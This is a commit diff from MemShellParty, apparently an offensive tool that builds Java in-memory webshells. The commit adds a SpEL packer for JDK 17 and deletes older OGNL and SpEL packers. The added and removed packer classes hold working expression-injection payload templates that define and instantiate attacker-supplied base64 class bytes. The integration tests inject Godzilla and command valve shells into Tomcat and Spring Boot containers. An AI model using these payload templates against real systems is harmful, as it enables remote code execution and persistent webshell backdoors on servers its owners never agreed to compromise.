mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-23 23:41:52 +08:00
feat: support SpELSpringIOUtilsJDK17 (resolved #83)
Co-authored-by: ReaJason <[email protected]>
This commit is contained in:
@@ -5,6 +5,7 @@ on:
|
|||||||
branches:
|
branches:
|
||||||
- '**'
|
- '**'
|
||||||
paths:
|
paths:
|
||||||
|
- './github/workflows/memshell-integration-test.yml'
|
||||||
- '**/memshell/**'
|
- '**/memshell/**'
|
||||||
- '**/packer/**'
|
- '**/packer/**'
|
||||||
|
|
||||||
|
|||||||
@@ -25,12 +25,12 @@ bun run build
|
|||||||
3. 构建后端项目,确保使用 JDK17 环境
|
3. 构建后端项目,确保使用 JDK17 环境
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cd MemShellParty/boot
|
cd MemShellParty
|
||||||
|
|
||||||
./gradlew :boot:bootjar -x test
|
./gradlew :boot:bootjar -x test
|
||||||
```
|
```
|
||||||
|
|
||||||
构建完之后,可直接启动 jar 包,jar 包位于 `MemShellParty/boot/build/libs/boot-1.0.0.jar`
|
构建完之后,可直接启动 jar 包,jar 包位于 `MemShellParty/boot/build/libs/boot-2.0.0.jar`
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cd MemShellParty/boot
|
cd MemShellParty/boot
|
||||||
@@ -39,7 +39,7 @@ java -jar \
|
|||||||
--add-opens=java.base/java.util=ALL-UNNAMED \
|
--add-opens=java.base/java.util=ALL-UNNAMED \
|
||||||
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
|
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
|
||||||
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
|
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
|
||||||
build/libs/boot-1.0.0.jar
|
build/libs/boot-2.0.0.jar
|
||||||
```
|
```
|
||||||
|
|
||||||
也可这基础上再继续构建容器来使用
|
也可这基础上再继续构建容器来使用
|
||||||
|
|||||||
+11
-4
@@ -35,7 +35,10 @@ import java.net.URL;
|
|||||||
import java.nio.file.Files;
|
import java.nio.file.Files;
|
||||||
import java.nio.file.Path;
|
import java.nio.file.Path;
|
||||||
import java.util.Objects;
|
import java.util.Objects;
|
||||||
|
import java.util.Random;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.utils.CommonUtil.INJECTOR_CLASS_NAMES;
|
||||||
|
import static com.reajason.javaweb.utils.CommonUtil.getRandomString;
|
||||||
import static org.hamcrest.CoreMatchers.anyOf;
|
import static org.hamcrest.CoreMatchers.anyOf;
|
||||||
import static org.hamcrest.CoreMatchers.containsString;
|
import static org.hamcrest.CoreMatchers.containsString;
|
||||||
import static org.hamcrest.MatcherAssert.assertThat;
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
@@ -87,7 +90,7 @@ public class ShellAssertion {
|
|||||||
|
|
||||||
ShellToolConfig shellToolConfig = getShellToolConfig(shellType, shellTool, packer);
|
ShellToolConfig shellToolConfig = getShellToolConfig(shellType, shellTool, packer);
|
||||||
|
|
||||||
MemShellResult generateResult = generate(urlPattern, server, shellType, shellTool, targetJdkVersion, shellToolConfig);
|
MemShellResult generateResult = generate(urlPattern, server, shellType, shellTool, targetJdkVersion, shellToolConfig, packer);
|
||||||
|
|
||||||
packerResultAndInject(generateResult, url, shellTool, shellType, packer, appContainer);
|
packerResultAndInject(generateResult, url, shellTool, shellType, packer, appContainer);
|
||||||
|
|
||||||
@@ -288,11 +291,14 @@ public class ShellAssertion {
|
|||||||
return shellToolConfig;
|
return shellToolConfig;
|
||||||
}
|
}
|
||||||
|
|
||||||
public static MemShellResult generate(String urlPattern, String server, String shellType, ShellTool shellTool, int targetJdkVersion, ShellToolConfig shellToolConfig) {
|
public static MemShellResult generate(String urlPattern, String server, String shellType, ShellTool shellTool, int targetJdkVersion, ShellToolConfig shellToolConfig, Packers packer) {
|
||||||
InjectorConfig injectorConfig = new InjectorConfig();
|
InjectorConfig injectorConfig = new InjectorConfig();
|
||||||
if (StringUtils.isNotBlank(urlPattern)) {
|
if (StringUtils.isNotBlank(urlPattern)) {
|
||||||
injectorConfig.setUrlPattern(urlPattern);
|
injectorConfig.setUrlPattern(urlPattern);
|
||||||
}
|
}
|
||||||
|
if (Packers.SpELSpringIOUtilsJDK17.equals(packer)) {
|
||||||
|
injectorConfig.setInjectorClassName("org.springframework.expression." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)] + getRandomString(5));
|
||||||
|
}
|
||||||
|
|
||||||
ShellConfig shellConfig = ShellConfig.builder()
|
ShellConfig shellConfig = ShellConfig.builder()
|
||||||
.server(server)
|
.server(server)
|
||||||
@@ -324,8 +330,9 @@ public class ShellAssertion {
|
|||||||
}
|
}
|
||||||
case ScriptEngine -> VulTool.postIsOk(url + "/js", content);
|
case ScriptEngine -> VulTool.postIsOk(url + "/js", content);
|
||||||
case EL -> VulTool.postIsOk(url + "/el", content);
|
case EL -> VulTool.postIsOk(url + "/el", content);
|
||||||
case SpEL, SpELSpringIOUtils, SpELScriptEngine, SpELSpringUtils -> VulTool.postIsOk(url + "/spel", content);
|
case SpEL, SpELSpringIOUtils, SpELScriptEngine, SpELSpringIOUtilsJDK17 ->
|
||||||
case OGNL, OGNLSpringIOUtils, OGNLScriptEngine, OGNLSpringUtils -> VulTool.postIsOk(url + "/ognl", content);
|
VulTool.postIsOk(url + "/spel", content);
|
||||||
|
case OGNL, OGNLSpringIOUtils, OGNLScriptEngine -> VulTool.postIsOk(url + "/ognl", content);
|
||||||
case MVEL -> VulTool.postIsOk(url + "/mvel", content);
|
case MVEL -> VulTool.postIsOk(url + "/mvel", content);
|
||||||
case JXPath -> VulTool.postIsOk(url + "/jxpath", content);
|
case JXPath -> VulTool.postIsOk(url + "/jxpath", content);
|
||||||
case JEXL -> VulTool.postIsOk(url + "/jexl2", content);
|
case JEXL -> VulTool.postIsOk(url + "/jexl2", content);
|
||||||
|
|||||||
+7
@@ -1,6 +1,7 @@
|
|||||||
package com.reajason.javaweb.integration.memshell.springwebmvc;
|
package com.reajason.javaweb.integration.memshell.springwebmvc;
|
||||||
|
|
||||||
import com.reajason.javaweb.Server;
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
@@ -8,6 +9,7 @@ import com.reajason.javaweb.packer.Packers;
|
|||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
import org.junit.jupiter.params.ParameterizedTest;
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
@@ -100,4 +102,9 @@ public class SpringBoot3ContainerTest {
|
|||||||
void testTomcat(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void testTomcat(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container, python);
|
shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container, python);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testCommandValveSpELSpringIOUtilsJDK17() {
|
||||||
|
ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, ShellType.JAKARTA_VALVE, ShellTool.Command, Opcodes.V17, Packers.SpELSpringIOUtilsJDK17, container);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -78,7 +78,7 @@ public class Tomcat8CommandEncryptorContainerTest {
|
|||||||
.encryptor(CommandConfig.Encryptor.DOUBLE_BASE64)
|
.encryptor(CommandConfig.Encryptor.DOUBLE_BASE64)
|
||||||
.build();
|
.build();
|
||||||
|
|
||||||
MemShellResult generateResult = ShellAssertion.generate(urlPattern, Server.Tomcat, shellType, shellTool, Opcodes.V1_8, shellToolConfig);
|
MemShellResult generateResult = ShellAssertion.generate(urlPattern, Server.Tomcat, shellType, shellTool, Opcodes.V1_8, shellToolConfig, packer);
|
||||||
|
|
||||||
ShellAssertion.packerResultAndInject(generateResult, url, shellTool, shellType, packer, container);
|
ShellAssertion.packerResultAndInject(generateResult, url, shellTool, shellType, packer, container);
|
||||||
|
|
||||||
|
|||||||
-2
@@ -44,11 +44,9 @@ public class Tomcat8ExpressionContainerTest {
|
|||||||
return Stream.of(
|
return Stream.of(
|
||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.EL),
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.EL),
|
||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLScriptEngine),
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLScriptEngine),
|
||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLSpringUtils),
|
|
||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLSpringIOUtils),
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLSpringIOUtils),
|
||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.MVEL),
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.MVEL),
|
||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELScriptEngine),
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELScriptEngine),
|
||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELSpringUtils),
|
|
||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELSpringIOUtils),
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELSpringIOUtils),
|
||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JEXL),
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JEXL),
|
||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JXPath),
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JXPath),
|
||||||
|
|||||||
@@ -16,12 +16,18 @@ public interface AggregatePacker extends Packer {
|
|||||||
* 聚合打包当前所有分类下的 payload
|
* 聚合打包当前所有分类下的 payload
|
||||||
*
|
*
|
||||||
* @param config 生成结果
|
* @param config 生成结果
|
||||||
* @return key -> 打包名称, value -> 打包 payload
|
* @return key -> 打包名称,value -> 打包 payload
|
||||||
*/
|
*/
|
||||||
default Map<String, String> packAll(ClassPackerConfig config) {
|
default Map<String, String> packAll(ClassPackerConfig config) {
|
||||||
return Packers.getPackersWithParent(this.getClass()).stream().collect(Collectors.toMap(
|
return Packers.getPackersWithParent(this.getClass()).stream().collect(Collectors.toMap(
|
||||||
Enum::name,
|
Enum::name,
|
||||||
packers -> packers.getInstance().pack(config),
|
packers -> {
|
||||||
|
try {
|
||||||
|
return packers.getInstance().pack(config);
|
||||||
|
} catch (Exception e) {
|
||||||
|
return e.getMessage();
|
||||||
|
}
|
||||||
|
},
|
||||||
(existing, replacement) -> existing,
|
(existing, replacement) -> existing,
|
||||||
LinkedHashMap::new
|
LinkedHashMap::new
|
||||||
));
|
));
|
||||||
|
|||||||
@@ -33,13 +33,12 @@ import com.reajason.javaweb.packer.mvel.MVELPacker;
|
|||||||
import com.reajason.javaweb.packer.ognl.OGNLPacker;
|
import com.reajason.javaweb.packer.ognl.OGNLPacker;
|
||||||
import com.reajason.javaweb.packer.ognl.OGNLScriptEnginePacker;
|
import com.reajason.javaweb.packer.ognl.OGNLScriptEnginePacker;
|
||||||
import com.reajason.javaweb.packer.ognl.OGNLSpringIOUtilsGzipPacker;
|
import com.reajason.javaweb.packer.ognl.OGNLSpringIOUtilsGzipPacker;
|
||||||
import com.reajason.javaweb.packer.ognl.OGNLSpringUtilsPacker;
|
|
||||||
import com.reajason.javaweb.packer.rhino.RhinoPacker;
|
import com.reajason.javaweb.packer.rhino.RhinoPacker;
|
||||||
import com.reajason.javaweb.packer.scriptengine.ScriptEnginePacker;
|
import com.reajason.javaweb.packer.scriptengine.ScriptEnginePacker;
|
||||||
import com.reajason.javaweb.packer.spel.SpELPacker;
|
import com.reajason.javaweb.packer.spel.SpELPacker;
|
||||||
import com.reajason.javaweb.packer.spel.SpELScriptEnginePacker;
|
import com.reajason.javaweb.packer.spel.SpELScriptEnginePacker;
|
||||||
|
import com.reajason.javaweb.packer.spel.SpELSpringIOUtilsGzipJDK17Packer;
|
||||||
import com.reajason.javaweb.packer.spel.SpELSpringIOUtilsGzipPacker;
|
import com.reajason.javaweb.packer.spel.SpELSpringIOUtilsGzipPacker;
|
||||||
import com.reajason.javaweb.packer.spel.SpELSpringUtilsPacker;
|
|
||||||
import com.reajason.javaweb.packer.velocity.VelocityPacker;
|
import com.reajason.javaweb.packer.velocity.VelocityPacker;
|
||||||
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderDefineClassPacker;
|
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderDefineClassPacker;
|
||||||
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker;
|
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker;
|
||||||
@@ -92,7 +91,6 @@ public enum Packers {
|
|||||||
|
|
||||||
OGNL(new OGNLPacker()),
|
OGNL(new OGNLPacker()),
|
||||||
OGNLScriptEngine(new OGNLScriptEnginePacker(), OGNLPacker.class),
|
OGNLScriptEngine(new OGNLScriptEnginePacker(), OGNLPacker.class),
|
||||||
OGNLSpringUtils(new OGNLSpringUtilsPacker(), OGNLPacker.class),
|
|
||||||
OGNLSpringIOUtils(new OGNLSpringIOUtilsGzipPacker(), OGNLPacker.class),
|
OGNLSpringIOUtils(new OGNLSpringIOUtilsGzipPacker(), OGNLPacker.class),
|
||||||
|
|
||||||
MVEL(new MVELPacker()),
|
MVEL(new MVELPacker()),
|
||||||
@@ -104,7 +102,7 @@ public enum Packers {
|
|||||||
SpEL(new SpELPacker()),
|
SpEL(new SpELPacker()),
|
||||||
SpELScriptEngine(new SpELScriptEnginePacker(), SpELPacker.class),
|
SpELScriptEngine(new SpELScriptEnginePacker(), SpELPacker.class),
|
||||||
SpELSpringIOUtils(new SpELSpringIOUtilsGzipPacker(), SpELPacker.class),
|
SpELSpringIOUtils(new SpELSpringIOUtilsGzipPacker(), SpELPacker.class),
|
||||||
SpELSpringUtils(new SpELSpringUtilsPacker(), SpELPacker.class),
|
SpELSpringIOUtilsJDK17(new SpELSpringIOUtilsGzipJDK17Packer(), SpELPacker.class),
|
||||||
|
|
||||||
Groovy(new GroovyPacker()),
|
Groovy(new GroovyPacker()),
|
||||||
GroovyClassDefiner(new GroovyClassDefinerPacker(), GroovyPacker.class),
|
GroovyClassDefiner(new GroovyClassDefinerPacker(), GroovyPacker.class),
|
||||||
|
|||||||
@@ -1,18 +0,0 @@
|
|||||||
package com.reajason.javaweb.packer.ognl;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
|
||||||
import com.reajason.javaweb.packer.Packer;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/7/7
|
|
||||||
*/
|
|
||||||
public class OGNLSpringUtilsPacker implements Packer {
|
|
||||||
String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.springframework.util.Base64Utils@decodeFromString('{{base64Str}}'),@java.lang.Thread@currentThread().getContextClassLoader())).newInstance()";
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public String pack(ClassPackerConfig config) {
|
|
||||||
return template.replace("{{className}}", config.getClassName())
|
|
||||||
.replace("{{base64Str}}", config.getClassBytesBase64Str());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
+28
@@ -0,0 +1,28 @@
|
|||||||
|
package com.reajason.javaweb.packer.spel;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||||
|
import com.reajason.javaweb.packer.Packer;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/13
|
||||||
|
*/
|
||||||
|
public class SpELSpringIOUtilsGzipJDK17Packer implements Packer {
|
||||||
|
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}'),T(java.lang.Thread).currentThread().getContextClassLoader(),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')).newInstance()";
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String pack(ClassPackerConfig config) {
|
||||||
|
String className = config.getClassName();
|
||||||
|
assertClassNameValid(className);
|
||||||
|
return template.replace("{{className}}", className)
|
||||||
|
.replace("{{base64Str}}", config.getClassBytesBase64Str());
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void assertClassNameValid(String className) {
|
||||||
|
String packageName = className.substring(0, className.lastIndexOf("."));
|
||||||
|
if (!"org.springframework.expression".equals(packageName)) {
|
||||||
|
throw new UnsupportedOperationException(className + " is not supported, please set className in same package org.springframework.expression, " +
|
||||||
|
"for example, org.springframework.expression.CommonUtil, org.springframework.expression.sub.CommonUtil will also not work");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,18 +0,0 @@
|
|||||||
package com.reajason.javaweb.packer.spel;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
|
||||||
import com.reajason.javaweb.packer.Packer;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/13
|
|
||||||
*/
|
|
||||||
public class SpELSpringUtilsPacker implements Packer {
|
|
||||||
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}'),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()";
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public String pack(ClassPackerConfig config) {
|
|
||||||
return template.replace("{{className}}", config.getClassName())
|
|
||||||
.replace("{{base64Str}}", config.getClassBytesBase64Str());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
+26
@@ -0,0 +1,26 @@
|
|||||||
|
package com.reajason.javaweb.packer.spel;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import org.apache.commons.codec.binary.Base64;
|
||||||
|
import org.junit.jupiter.api.Assertions;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/8/25
|
||||||
|
*/
|
||||||
|
class SpELSpringIOUtilsGzipJDK17PackerTest {
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void pack() {
|
||||||
|
ClassPackerConfig classPackerConfig = new ClassPackerConfig();
|
||||||
|
classPackerConfig.setClassName("org.springframework.expression.sub.CommonUtil");
|
||||||
|
classPackerConfig.setClassBytes("hello".getBytes());
|
||||||
|
classPackerConfig.setClassBytesBase64Str(Base64.encodeBase64String("hello".getBytes()));
|
||||||
|
Assertions.assertThrows(UnsupportedOperationException.class, () -> Packers.SpELSpringIOUtilsJDK17.getInstance().pack(classPackerConfig));
|
||||||
|
|
||||||
|
classPackerConfig.setClassName("org.springframework.expression.CommonUtil");
|
||||||
|
Assertions.assertDoesNotThrow(() -> Packers.SpELSpringIOUtilsJDK17.getInstance().pack(classPackerConfig));
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user